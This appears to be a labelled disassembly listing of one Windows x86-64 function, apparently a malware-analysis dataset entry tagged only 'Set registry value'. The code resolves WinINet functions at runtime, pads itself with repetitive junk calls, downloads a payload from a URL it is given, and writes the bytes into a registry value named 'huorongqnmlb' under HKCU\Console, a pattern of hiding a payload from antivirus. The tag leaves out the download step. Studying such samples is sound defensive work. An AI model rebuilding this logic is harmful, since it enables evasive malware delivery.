Function at 0x1400041a0
Capabilities:
Set registry value

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x80
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rsp + 0xc0], rbx
mov rbx, rcx
mov ecx, 0x64000
call fcn.14000bce0
mov rsi, rax
mov dword [rsp + 0xc8], 1
lea rcx, str.wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
je 0x140004551
lea rdx, str.InternetOpenW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
lea rdx, str.InternetOpenUrlW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
lea rdx, str.InternetReadFile
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rdx, str.InternetCloseHandle
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
test r12, r12
je 0x140004548
test rbp, rbp
je 0x140004548
test r14, r14
je 0x140004548
test rax, rax
je 0x140004548
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001090
test eax, eax
je 0x140004281
call section..text
call fcn.140001140
test eax, eax
je 0x14000428f
call fcn.1400011f0
call fcn.1400011f0
test eax, eax
je 0x14000429d
call fcn.140001090
call fcn.140001090
test eax, eax
je 0x1400042ab
call section..text
call section..text
test eax, eax
je 0x1400042b9
call fcn.140001140
call fcn.1400011f0
test eax, eax
je 0x1400042c7
call section..text
call section..text
test eax, eax
je 0x1400042d5
call fcn.1400011f0
call fcn.140001140
test eax, eax
je 0x1400042e3
call fcn.1400011f0
call fcn.1400012a0
test eax, eax
je 0x1400042f1
call fcn.140001350
call fcn.140001350
test eax, eax
je 0x1400042ff
call fcn.140001400
call fcn.140001400
test eax, eax
je 0x14000430d
call fcn.1400014b0
call fcn.1400014b0
test eax, eax
je 0x14000431b
call fcn.1400012a0
call fcn.140001140
test eax, eax
je 0x140004329
call fcn.140001400
call fcn.1400011f0
test eax, eax
je 0x140004337
call fcn.1400014b0
call fcn.1400012a0
test eax, eax
je 0x140004345
call section..text
call fcn.140001350
test eax, eax
je 0x140004353
call fcn.140001090
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140004362
mov rcx, qword [rbx]
jmp 0x140004365
mov rcx, rbx
mov rax, qword [rbx + 0x10]
lea r8, [rcx + rax]
cmp rdx, 0x10
jb 0x140004376
mov rbx, qword [rbx]
mov qword [rsp + 0x70], 7
xor r15d, r15d
mov qword [rsp + 0x68], r15
mov word [rsp + 0x58], r15w
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.1400076d0
nop
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.huorong
call r12
mov r12, rax
test rax, rax
je 0x14000452b
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rdx, qword [rsp + 0x58]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call rbp
mov rbp, rax
test rax, rax
je 0x140004525
mov qword [rsp + 0x40], r15
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Console
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000451f
mov edi, r15d
mov ebx, r15d
cmp dword [rsp + 0xc8], ebx
jbe 0x1400044ea
nop dword [rax]
mov r8d, 0x64000
sub r8d, ebx
mov edx, ebx
add rdx, rsi
lea r9, [rsp + 0xc8]
mov rcx, rbp
call r14
mov r11d, dword [rsp + 0xc8]
test r11d, r11d
je 0x1400044bd
add ebx, r11d
cmp ebx, 0x64000
jne 0x1400044b8
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov r9d, 3
xor r8d, r8d
lea rdx, str.huorongqnmlb
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add edi, ebx
mov ebx, r15d
mov r11d, dword [rsp + 0xc8]
test r11d, r11d
jne 0x140004450
test ebx, ebx
je 0x1400044ea
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov r9d, 3
xor r8d, r8d
lea rdx, str.huorongqnmlb
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add edi, ebx
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rsi
mov r9d, 3
xor r8d, r8d
lea rdx, str.huorongqnmlb
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rbp
call r13
mov rcx, r12
call r13
mov rcx, rsi
call fcn.14000d710
nop
cmp qword [rsp + 0x70], 8
jb 0x140004559
mov rcx, qword [rsp + 0x58]
call fcn.14000d718
jmp 0x140004559
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rsi
call fcn.14000d710
mov rbx, qword [rsp + 0xc0]
add rsp, 0x80
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret